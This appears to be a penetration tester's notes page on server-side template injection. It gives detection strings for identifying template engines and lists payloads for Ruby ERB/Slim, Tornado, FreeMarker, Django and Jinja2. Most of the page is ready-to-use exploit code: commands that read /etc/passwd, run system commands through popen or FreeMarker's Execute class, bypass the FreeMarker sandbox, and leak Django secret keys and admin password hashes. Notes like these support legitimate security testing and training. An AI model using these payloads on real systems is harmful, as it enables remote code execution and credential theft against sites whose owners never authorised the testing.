📌SSTI : Server Side Template Injection

Notes

PayloadsAllTheThings/Server Side Template Injection/README.md at master · swisskyrepo/PayloadsAllTheThingsGitHub

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Tools

GitHub - vladko312/SSTImap: Automatic SSTI detection tool with interactive interfaceGitHub

Detect

Commonly Used Template Engine Syntax

${{<%[%'"}}%\

Plaintext Context

http://vulnerable-website.com/?username=${7*7}

Code Context

http://vulnerable-website.com/?greeting=data.username

http://vulnerable-website.com/?greeting=data.username<tag>

http://vulnerable-website.com/?greeting=data.username}}<tag>

Identify

Invalid Syntax

<%=foobar%>

Ruby Error

(erb):1:in `<main>': undefined local variable or method `foobar' for main:Object (NameError)
from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'
from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'
from -e:4:in `<main>'

Decision Tree

Decision Tree

Template Engine Payloads

Ruby

Ruby - Basic injections

ERB:

<%= 7 * 7 %>

Slim:

#{ 7 * 7 }

Ruby - Retrieve /etc/passwd

<%= File.open('/etc/passwd').read %>

Ruby - List files and directories then read

<%= Dir.entries('/') %>

<%= File.open('/example/arbitrary-file').read %>

Ruby - Code execution

Execute code using SSTI for ERB engine.

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Execute code using SSTI for Slim engine.

#{ %x|env| }

Tornado Template

tornado.template — Flexible output generation — Tornado 6.5.4 documentationwww.tornadoweb.org

Server Side Template Injection in TornadoAjin Abraham

Tornado (Python)

• {{7*7}} = 49

• ${7*7} = ${7*7}

• {{foobar}} = Error

• {{7*'7'}} = 7777777

{% import foobar %} = Error
{% import os %}

{% import os %}

{{os.system('whoami')}}
{{os.system('whoami')}}

FreeMarker Template Injection

FreeMarker (Java)

You can try your payloads at https://try.freemarker.apache.org

• {{7*7}} = {{7*7}}

• ${7*7} = 49

• #{7*7} = 49 -- (legacy)

• ${7*'7'} Nothing

• ${foobar}

Get FreeMarker Version

${freemarkerVersion}

Freemarker - Code Execution

${“freemarker.template.utility.Execute”?new()(“cat /etc/passwd”)}

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}

${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ only works on Freemarker versions below 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

More information

• In FreeMarker section of https://portswigger.net/research/server-side-template-injection

• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker

Django Template Injection

Django Templates

Django template language supports 2 rendering engines by default: Django Templates (DT) and Jinja2. Django Templates is much simpler engine. It does not allow calling of passed object functions and impact of SSTI in DT is often less severe than in Jinja2.

Detection

{% csrf_token %} # Causes error with Jinja2
{{ 7*7 }}  # Error with Django Templates
ih0vr{{364|add:733}}d121r # Burp Payload -> ih0vr1097d121r

Django Templates for post-exploitation

# Variables
{{ variable }}
{{ variable.attr }}

# Filters
{{ value|length }}

# Tags
{% csrf_token %}

Cross-site scripting

{{ '<script>alert(3)</script>' }}
{{ '<script>alert(3)</script>' | safe }}

Debug information leak

{% debug %}

Leaking app’s Secret Key

{{ messages.storages.0.signer.key }}

Admin Site URL leak

{% include 'admin/base.html' %}

Admin username and password hash leak

{% load log %}{% get_admin_log 10 as log %}{% for e in log %}
{{e.user.get_username}} : {{e.user.password}}{% endfor %}

Jinja2(Python) Template Injection

• {{7*7}} = Error

• ${7*7} = ${7*7}

• {{foobar}} Nothing

• {{4*4}}[[5*5]]

• {{7*'7'}} = 7777777

• {{config}}

• {{config.items()}}

• {{settings.SECRET_KEY}}

• {{settings}}

• <div data-gb-custom-block data-tag="debug"></div>

{% debug %}


{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

RCE

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

References

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PayloadsAllTheThings/Server Side Template Injection at master · swisskyrepo/PayloadsAllTheThingsGitHub